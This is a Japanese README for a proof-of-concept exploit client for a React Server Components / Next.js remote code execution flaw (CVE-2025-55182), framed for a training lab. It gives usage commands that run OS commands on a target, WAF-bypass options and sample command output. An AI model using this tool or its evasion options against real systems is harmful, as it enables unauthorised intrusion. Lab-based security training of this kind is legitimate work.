React2Shell Scanner – PoC付き

CVE-2025-55182 – React Server Components RCE PoC
Hidden Investigations React2Shell ラボ向けの教育用エクスプロイトクライアント。

このリポジトリには、React Server Components / Next.js アプリケーションの設定ミスを標的とした React2Shell 脆弱性 (CVE-2025-55182) のシングルホスト向け概念実証 (PoC) エクスプロイトツールが含まれています。

本ツールは、公式の Hidden Investigations React2Shell ラボ または明示的に所有・管理しているシステムに対してのみ使用するように設計されています。

⚠️ 法的・倫理的免責事項

このプロジェクトは教育目的および防御的なセキュリティ研究のためにのみ提供されます。

• 本ツールは以下のものにのみ使用してください：
  • 公式の Hidden Investigations React2Shell ラボ、または
  • 所有している、または明示的な書面による許可を得たシステム。
• ランダムなWebサイト、本番システム、自分が管理していないインフラストラクチャには使用しないでください。
• 作者およびHidden Investigationsは、誤用または損害について一切の責任を負いません。

本ツールを使用することにより、適用されるすべての法律および規制に従うことに同意したものとみなします。

機能

• 🔥 React2Shell エクスプロイトクライアント (CVE-2025-55182 向け)
• 🎯 シングルホスト専用 (マススキャンなし)
• 📡 カスタムパスおよびパスリストのサポート
• 🧪 セーフチェックモード (OSコマンドなし、検出プローブのみ)
• 🪟 Windows対応モード (デフォルトで whoami)
• 🛡️ WAF回避ヘルパー:
  • ジャンクマルチパートフィールド (--waf-bypass, --waf-bypass-size)
  • Vercel レイアウト調整 (--vercel-waf-bypass)
• 🔐 TLSオプション (--insecure, カスタムヘッダー)
• 🧾 JSON出力 (-o/--output, --all-results)
• 🧘 クリーンなクワイエットモード出力 (他のツールへのパイプに最適)

必要要件

• Python: 3.8以上 (Python 3.10以上でテスト済み)
• 依存関係:
  • requests

依存関係のインストール:

pip install -r requirements.txt

インストール

1. Hidden Investigations のリポジトリをクローン:

git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc

2. (任意ですが推奨) 仮想環境を作成:

python3 -m venv venv
source venv/bin/activate   # On Windows: venv\Scripts\activate

3. 依存関係をインストール:

pip install -r requirements.txt

4. ツールを実行:

python3 react2shell-scanner.py -h

使い方

基本的なヘルプ:

python3 react2shell-scanner.py -h

ツールにはターゲットURLが必要です:

python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"

-t/--target または -u/--url を指定せずに実行すると、ブランド付きのヘルプメッセージを表示して終了します。

コマンドラインオプション

ターゲットとパス

注: このPoCはシングルホスト専用です。-l/--list オプションは存在しますが、意図的に無効化されています。

エクスプロイト/ペイロードの動作

HTTP / TLSオプション

出力/UXオプション

クワイエットモードの例 (きれいな複数行出力):

python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"

出力:

total 12
drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
-rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
-rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js

バルクスキャンフラグ (意図的に無効化)

以下のフラグはAssetnoteのCLIを模倣するために存在しますが、マススキャンの悪用を避けるためにこのPoCでは実装されていません:

-l/--list を使用すると、ツールは警告を表示して終了し、大規模な安全なスキャンにはAssetnoteのオリジナルの react2shell-scanner を使用するよう提案します。

使用例

ローカルラボに対して実行:

python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"

より大きなジャンクフィールドでWAF回避を使用:

python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"

同じホスト上の複数パス:

python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"

ファイルからのパス:

python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"

セーフチェックモード (OSコマンドは実行されない):

python3 react2shell-scanner.py -t http://localhost:3000 --safe-check

結果のJSON出力をファイルに保存:

python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results

JSON出力形式

-o/--output が使用されると、ツールは以下のようなオブジェクトの配列を書き込みます:

[
  {
    "url": "http://localhost:3000/",
    "path": "/",
    "success": true,
    "status": "success",
    "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
    "http": {
      "status_code": 302,
      "headers": {
        "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
        "...": "..."
      }
    }
  }
]

クレジットと謝辞

• Hidden Investigations – React2Shell教育ラボとPoCクライアントの公開に対して。
• @sakibulalikhan – ツール作者。
• Assetnote – 彼らの react2shell-scanner によるWAF回避アイデアのインスピレーション。

ライセンス

このプロジェクトは MITライセンス の下でライセンスされています。詳細は LICENSE を参照してください。

📬 お問い合わせ: [email protected]